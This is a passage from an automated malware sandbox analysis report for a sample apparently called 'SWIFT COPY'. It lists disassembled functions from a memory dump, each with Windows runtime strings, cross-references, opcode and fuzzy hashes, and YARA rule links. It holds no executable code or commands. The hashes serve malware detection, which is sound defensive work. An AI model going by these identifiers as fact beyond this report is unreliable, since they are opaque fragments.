TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 0133063D

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 0-2547482624
Opcode ID: ccb54d9b587da38fe5bf8510a54e41db9f98e2227efdbee6c017c84c28ba79f1
Instruction ID: b7dbef1717377194ff03d4015a26c0e082994221c6706da4c764210d38207f61
Opcode Fuzzy Hash: ccb54d9b587da38fe5bf8510a54e41db9f98e2227efdbee6c017c84c28ba79f1
Instruction Fuzzy Hash: 2551BE715047468BD729DF68C4806A7BBE4EFC4318F10493EFAEA87281E770D545CB9A

Function 0133A2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

RtlpResUltimateFallbackInfo Exit, xrefs: 0133A309
RtlpResUltimateFallbackInfo Enter, xrefs: 0133A2FB

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-2876891731
Opcode ID: 69fbc2ec54019ad08d93f5fa5efb0455049da495750a25d4b43785a1adec04e3
Instruction ID: e6e246797233d4cb8900e7f750f6161d7f431e39dd9773de2265f6329f52f28f
Opcode Fuzzy Hash: 69fbc2ec54019ad08d93f5fa5efb0455049da495750a25d4b43785a1adec04e3
Instruction Fuzzy Hash: 4041E131A04A59DBDB16CF5DC880BAE7BF8FF85318F1440A9E940DB6A1E3B5D900CB44

Function 0136A5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON

Download Yara Rule

Strings

Cleanup Group, xrefs: 0136A5E4
Threadpool!, xrefs: 0136A5E9

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: InitializeThunk
String ID: Cleanup Group$Threadpool!
API String ID: 2994545307-4008356553
Opcode ID: 7b030a7fa01cbe2bf54c599713b5df05fd101bd1c5fce2328af8cc0712e76814
Instruction ID: 2db062f222d59b3f9ee8dcbec1307a0a4f18ba83da6a482bd149da975f770103
Opcode Fuzzy Hash: 7b030a7fa01cbe2bf54c599713b5df05fd101bd1c5fce2328af8cc0712e76814
Instruction Fuzzy Hash: 9B01DCB2250744AFD322DF28CD49B2677E8E784B29F01C939EA58C7694E334E804CB56

Function 0133C7C0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON

Download Yara Rule

Strings

MUI, xrefs: 0133C8C3, 0133CA40

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: 4013a880ffc1117b0214ea02df373e2f15548003144dbbc594312eaee09fffcc
Instruction ID: 7abdac17202b739cd2f51e197e274a0335c86c8f24e46db2a3fd97fa3c33a65b
Opcode Fuzzy Hash: 4013a880ffc1117b0214ea02df373e2f15548003144dbbc594312eaee09fffcc
Instruction Fuzzy Hash: CC826C75E002188FEB25CFA9C8807EDBBB5BF84718F14816AE959BB351D7309D41CB58

Function 013B6420 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

, xrefs: 013B65C1

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 06c19900f2f5774e47ae6fdf6dfe9ff7c16e85d9c088479ce985816e86156ea2
Instruction ID: 6d9da7a7396be6a4556e7da99e52366a41570c5d7342be9ede1c2eeaaf36373c
Opcode Fuzzy Hash: 06c19900f2f5774e47ae6fdf6dfe9ff7c16e85d9c088479ce985816e86156ea2
Instruction Fuzzy Hash: B19141B2A41219AFEB21DF99CD85FEE7BB8EF14B54F104055F700AB591E674AD00CB60

Function 013DE10E Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

, xrefs: 013DE1FA

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: bee676aabc72859fdce7c20f36e5eeb3d5facbda7ece1749f23e56cb6983e035
Instruction ID: d5245b40b92d52c95a94137734b70f3b4b964d8f7876e8270efd31178ca10157
Opcode Fuzzy Hash: bee676aabc72859fdce7c20f36e5eeb3d5facbda7ece1749f23e56cb6983e035
Instruction Fuzzy Hash: 45918172A00559BFDB22AFA9EC44FAFBFB9EF45758F100029F505AB250DB74A901CB50

Function 0136A660 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

GlobalTags, xrefs: 013A67C9

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: GlobalTags
API String ID: 0-1106856819
Opcode ID: 2d9e3323c0a5153075da81cdd419dd9920bf88e4a528ad3b23cf892a734aff6f
Instruction ID: cf49dd9fb46f523a52e9bc2204c02a86cfccd02596ce44d7146b7fb428d60cc2
Opcode Fuzzy Hash: 2d9e3323c0a5153075da81cdd419dd9920bf88e4a528ad3b23cf892a734aff6f
Instruction Fuzzy Hash: 03717CB5E0021ACFDF28CF9CD591AADBFB5FF88718F58812AE905A7245E7319841CB50

Function 013D4978 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

.mui, xrefs: 013D4A7F

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: .mui
API String ID: 0-1199573805
Opcode ID: 5eaf73017e946f939c29c897de8b20c5dd054a650267106b7b5fb615001e8293
Instruction ID: b0f52a01d695df19d3661dcf9bd3a4cb775cfd68d8452611b957eacd0e4ef779
Opcode Fuzzy Hash: 5eaf73017e946f939c29c897de8b20c5dd054a650267106b7b5fb615001e8293
Instruction Fuzzy Hash: 64519373D0022A9BDF11DF9DE840AAEBBB8BF14A18F054129E911BB650D7349D05CBE5

Function 0134E627 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

EXT-, xrefs: 0134E6A4

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: EXT-
API String ID: 0-1948896318
Opcode ID: db0c976a2c6de662250e9bf82bab3b0d0e85e4c65359fe6d4011aee185220c4b
Instruction ID: b6657a8d99605a7093be70e5163e6fc5b6ac31f9b5e8f30c8f95b6d077ef5c65
Opcode Fuzzy Hash: db0c976a2c6de662250e9bf82bab3b0d0e85e4c65359fe6d4011aee185220c4b
Instruction Fuzzy Hash: 3A4140725083529BD721DB79C980B6BBBD8BF8872CF440D3DFA84D7180E678E9048796

Function 013AC730 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

BinaryHash, xrefs: 013AC77F

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: df173dc4d1c3b82c3677306ef12d6d879e5116ddcb024aac65f491d970739fe4
Instruction ID: 38e0d20140f1b4d91fe60d725e692aa191acafe458d18e8381705d59da352644
Opcode Fuzzy Hash: df173dc4d1c3b82c3677306ef12d6d879e5116ddcb024aac65f491d970739fe4
Instruction Fuzzy Hash: C44142B1D0012DAADB21DB54CC84FDEBB7CEB45728F4045A5EA08AB140DB749E898FA4

Function 013C6B40 Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

#, xrefs: 013C6B91

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 8717353030f5cfa85e35dbb539de07badcc1f39910407e31d6ff37aeef282625
Instruction ID: 5165505b19a0af96f0314bc40adbe9c41eea5d779628bc69645ae7c2264d08fa
Opcode Fuzzy Hash: 8717353030f5cfa85e35dbb539de07badcc1f39910407e31d6ff37aeef282625
Instruction Fuzzy Hash: 2D310571A006199BEF32DB6DC851BEEBBA8DF45B08F14806CE941AB382D775EC05CB50

Function 013ACA72 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

BinaryName, xrefs: 013ACAA2

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: d5c102de0d95d5900060111adc01449fd4096aa2be6251436210f74e4ac27f10
Instruction ID: 969a60b60bbe3d51a6118f18a5cc3788affa5fb9888da7bb91672a547c7a8f45
Opcode Fuzzy Hash: d5c102de0d95d5900060111adc01449fd4096aa2be6251436210f74e4ac27f10
Instruction Fuzzy Hash: 6D313636D00519AFEB19DB5CC851EBFBBB8EF80728F414129E915A7250D731AE04DBE0

Function 013B06F1 Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

`,, xrefs: 013B070E

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: `,
API String ID: 0-3251075597
Opcode ID: 298836cecd62b9371a8c6cd7b1f7c14af8166d2261958a104852f70e74ca77df
Instruction ID: bc385a3d774443473b6ff1797267ac0aac67065018ea320ade0681d248c8ff18
Opcode Fuzzy Hash: 298836cecd62b9371a8c6cd7b1f7c14af8166d2261958a104852f70e74ca77df
Instruction Fuzzy Hash: 53218071900129DBCF25DF69C881AFEB7F4FF48744B500069F941AB250E738AD42CBA1

Function 013B0946 Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

`,, xrefs: 013B099E

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: `,
API String ID: 0-3251075597
Opcode ID: f8f00f3526578644c0389c515714786efffe18f78ef80a8212d3bfd6820ec821
Instruction ID: 379db643414013b796ad240c75b6e23818bbfb0cd4cd7d3db0288476f1040ce5
Opcode Fuzzy Hash: f8f00f3526578644c0389c515714786efffe18f78ef80a8212d3bfd6820ec821
Instruction Fuzzy Hash: 8B21E9B1E00219ABDB24DFAAD9809EEFBF8FF98604F10012FE505A7250D7749981CB54

Function 013B892A Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 013B895E

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
API String ID: 0-702105204
Opcode ID: 79eb50f03235bd8190de325b060d53c6fa41067f425b6a7ddbeb365a9a0bee20
Instruction ID: b43757f868461a76479d0ae2ac02057d7593c35192b310521256b5f102695751
Opcode Fuzzy Hash: 79eb50f03235bd8190de325b060d53c6fa41067f425b6a7ddbeb365a9a0bee20
Instruction Fuzzy Hash: 1701F7312002219BEB346F59D8C4BE67B6DEF8265CB44046DF7411AD65DF30A881CBA6

Function 013D2000 Relevance: .8, Instructions: 757COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 584975035c230977ab89ae6a179f25772f9e57db28ec275768577169a3f146d0
Instruction ID: f0cb5605385d5b5ef37c581922a80ffb6e6081ec1bf1c0c44d8b396fed41f9c9
Opcode Fuzzy Hash: 584975035c230977ab89ae6a179f25772f9e57db28ec275768577169a3f146d0
Instruction Fuzzy Hash: 3C42D1336083419FEB25CF68D891B6BBBE5BF88308F48492DFA8697250D771D845CB52

Function 013C8158 Relevance: .6, Instructions: 617COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbfe81049e4b2b90e725f9e6530b7674fa570738975dab7294256dd33bb4dcca
Instruction ID: 70589e51fec4c27ea041ca1a14c2b98b037aeabb12fb1cf38335d0e8b123bfd0
Opcode Fuzzy Hash: cbfe81049e4b2b90e725f9e6530b7674fa570738975dab7294256dd33bb4dcca
Instruction Fuzzy Hash: 03424A75A002199FEB24CF69C881BADBBF5BF48714F1480DDE949AB242D734AE85CF50

Function 01342840 Relevance: .6, Instructions: 605COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 588f7c362027b58fc7ffb4f7f66c636558ff9b3a632cedac73bf2d67bf2a3140
Instruction ID: 50177502f40231bd30c816b8aab2223c8174080460ccc23c3b24f44fd74b6e51
Opcode Fuzzy Hash: 588f7c362027b58fc7ffb4f7f66c636558ff9b3a632cedac73bf2d67bf2a3140
Instruction Fuzzy Hash: EC32FFB0A057598FEF25CF69C845BBEBBF6BF84308F14411DE486AB684D735A841CB90

Function 013DA118 Relevance: .6, Instructions: 591COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e982f87094d702d05e9f859c7ed61651c6a6013b00c2882cad308e1795cf66c3
Instruction ID: c0e0c177d7df0e64d8cd63d15898dd372f0e442c9ed9023d59941ae314159585
Opcode Fuzzy Hash: e982f87094d702d05e9f859c7ed61651c6a6013b00c2882cad308e1795cf66c3
Instruction Fuzzy Hash: 7E220372204665CFEB25CF2DE290372BBF1BF44308F08845AE9968F686D775E552CB60

Function 01336A50 Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edddb819f96dd1b973e173f23c867055740f63310beb53b7d0930512963a8d9f
Instruction ID: e2eaa28d5ad82cb8a44d0d275db31e8cdb24560b048e2e34f767f71a7b02f69d
Opcode Fuzzy Hash: edddb819f96dd1b973e173f23c867055740f63310beb53b7d0930512963a8d9f
Instruction Fuzzy Hash: 4032EEB0A00209DFDF25CF69C480BAABBF1FF88318F144569E95AAB791D730E941CB54

Function 01354A35 Relevance: .4, Instructions: 423COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
Instruction ID: 595c49247351eced4a991cbeb73ae824838b1259b3b875528688aae03e5428bd
Opcode Fuzzy Hash: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
Instruction Fuzzy Hash: 09F18171E0021A9BDF59CF99D580FAEBBF5AF48B18F048129ED05AB345E774E881CB50

Function 013C892B Relevance: .4, Instructions: 386COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d3a614deee7650a8997507c355c5b94778693d7aca76669d02dd7ff2f234c3a
Instruction ID: a4c1e5c13234ff9480bee2c42fc046da7d448afe796d7934d48fa2b96dab181f
Opcode Fuzzy Hash: 0d3a614deee7650a8997507c355c5b94778693d7aca76669d02dd7ff2f234c3a
Instruction Fuzzy Hash: 6ED1F171A0061A9BDF15CF6CC841AFEB7F5AF88B08F1881ADD955A7241D735EE01CB60

Function 013365D0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b80bd7be658c1c76d388cbcc872886d72baceb5e61f1147d990053756fe76cd
Instruction ID: f8193c7d7031b5422e076482acbb0cfb58da4f13d6685510e63f86a557cfd2dc
Opcode Fuzzy Hash: 8b80bd7be658c1c76d388cbcc872886d72baceb5e61f1147d990053756fe76cd
Instruction Fuzzy Hash: 3CE19FB1508342DFC715CF28C090A6ABBE0FFC9318F458A6DE9959B351DB31EA05CB96

Function 01328397 Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd131b5eb8b69b51e19f2a6eef9e07ad3160aa5eb7ba9fa8897240030f885c09
Instruction ID: 222496c2f9043421e83f710152a710a34a7ba2541adec3d2d7352242a2c73995
Opcode Fuzzy Hash: fd131b5eb8b69b51e19f2a6eef9e07ad3160aa5eb7ba9fa8897240030f885c09
Instruction Fuzzy Hash: 50D1E071A0032BDBDB14EF28C880ABAB7E5BF5431CF144669E916DB684E734E951CB60

Function 013B8243 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
Instruction ID: 2750b90b6381ad5799921e41504b3859088f535d05e48cb981383e344fb075cf
Opcode Fuzzy Hash: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
Instruction Fuzzy Hash: 16B15574A016059FDB24DF59C980EEBBBBDFF84308F14449DAB429BB95EA34E905CB10

Function 01340535 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
Instruction ID: a366fd71b25172498b72da2877640f50032658da2cc2da821e06da617dbc8fd0
Opcode Fuzzy Hash: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
Instruction Fuzzy Hash: 02B10431704646EFDF26DBA8C950BBEBBFAEF44208F144199E6529B381D730E941CB90

Function 013383C0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d66dbc2994ebfe410fea846e95691dec95bac65c5972922f5697228fa3c67d5b
Instruction ID: 3051b17c9235b2f945c1fc39257f1391240d577f1355e8b49fd1a444c0090417
Opcode Fuzzy Hash: d66dbc2994ebfe410fea846e95691dec95bac65c5972922f5697228fa3c67d5b
Instruction Fuzzy Hash: 8FC15870508381CFEB64CF19C494BABB7E4BF88308F44496DE98997291D774EA08CF92

Function 0132C427 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc8eeca6985e8de9d5ce0431ed5502fe88830700ab920d035f16df4aa1d5ccc1
Instruction ID: a4c5fa3a318426cc1edf60dab40d59150b9c0ef138e2c4e111c5c8019e7bf80a
Opcode Fuzzy Hash: fc8eeca6985e8de9d5ce0431ed5502fe88830700ab920d035f16df4aa1d5ccc1
Instruction Fuzzy Hash: 76B18370A0026A8BDB74EF59C890BADB7F5EF44708F1485EAD50AE7241EB70DD85CB20

Function 0135E5E7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd15b3cfb0190a952396def0cacda07172eb2df5292973a511cd51281c62dc7f
Instruction ID: 3d8600d0ee803104fff3f8727ac42362ed465a09e94cd73b4f5b0bbf36bc0c6f
Opcode Fuzzy Hash: fd15b3cfb0190a952396def0cacda07172eb2df5292973a511cd51281c62dc7f
Instruction Fuzzy Hash: 94A10631E006599FEF21DF5CC844FAEBFA8AB05B5CF054125EE50AB291D778AE40CB91

Function 01370185 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb3712264d74e3dc747a72acfdbf9c4fe0a2342fc4f9bdee96401befa71c90fa
Instruction ID: 3b1451063ea993249d9044d455b8a9a05aebeede07998b170325a21fff78e57e
Opcode Fuzzy Hash: eb3712264d74e3dc747a72acfdbf9c4fe0a2342fc4f9bdee96401befa71c90fa
Instruction Fuzzy Hash: CAA1B071B0061ADBEB39CF69C590BAAB7F5FF5532CF044029EA45A7291DB38E801CB50

Function 01404500 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87a49b83a0f413fea1b4eaf4ed44c7c4c90e7c2cacb7f334ca68850b5c5bbdfd
Instruction ID: 136c79b2b69804f4e7b97acbc0f37e4417a58cce2a0c911e7adbca25b6bbdfa0
Opcode Fuzzy Hash: 87a49b83a0f413fea1b4eaf4ed44c7c4c90e7c2cacb7f334ca68850b5c5bbdfd
Instruction Fuzzy Hash: F8A1BE72600611DFC722DF19C980B6AB7E9FF48718F49093AEA49977A1D334ED41CB91

Function 01402B57 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ce3715ed4799cd0a993ea830d382c3077ea0590534c70b07cf682ff4d409637
Instruction ID: c4ebc2ae63b12427f3e6a6cab6810de6f3b7e3130a86f9a592fc7bd1f954504a
Opcode Fuzzy Hash: 6ce3715ed4799cd0a993ea830d382c3077ea0590534c70b07cf682ff4d409637
Instruction Fuzzy Hash: 4BB11C71E0061ADFDF16CF9AC884AAEB7B5BF48310F14816AE914A73A4D770AD41CB90

Function 013B60E0 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f15863baddcdde23e8a5e0c3688adc29364c8bc4ec45a548fe98467fbacbe39
Instruction ID: eb57b02085a2e5be3f0cfd502c2f2814c12845c0001c4ae89aaf849fbfd9abdc
Opcode Fuzzy Hash: 2f15863baddcdde23e8a5e0c3688adc29364c8bc4ec45a548fe98467fbacbe39
Instruction Fuzzy Hash: 5591C3B1D0021AAFDB15CF68D8C1BEEBFB5AF48714F144169E715AB752E734E9008BA0

Function 0134E3F0 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8539e5570d2acd518ed92682cc0080e0036dd48255819cc8de3a521e7dba83fa
Instruction ID: 3f0032110b6203a2ed0993af669dc488f910581fd7b3af2d4315a0e95b80e84d
Opcode Fuzzy Hash: 8539e5570d2acd518ed92682cc0080e0036dd48255819cc8de3a521e7dba83fa
Instruction Fuzzy Hash: 7F912531A00626CBEB24DB6DC844B7EBBE5FF9471CF0540A9ED05AB750E638E941CB91

Function 013FAB40 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e20f57e4ff007d65908e0e6f7ea2c5d260c397918ed067619b1479e5480266a4
Instruction ID: e48f1a7a5b7935089d7e933c34017141c22ef3280178d82c9c917d36d89ee96b
Opcode Fuzzy Hash: e20f57e4ff007d65908e0e6f7ea2c5d260c397918ed067619b1479e5480266a4
Instruction Fuzzy Hash: 80816131A002099BDF19DF98C490AAEBBF6AF84318F14856DDA199B385D734E901CB50

Function 0136E284 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2829e3162754fb707c8252428ed288819c53bea8c5177b97f358f509453061f2
Instruction ID: 689a59f7432d0052d7ceda9319dc9a034aa37742f6ce5549c40f44c51e345585
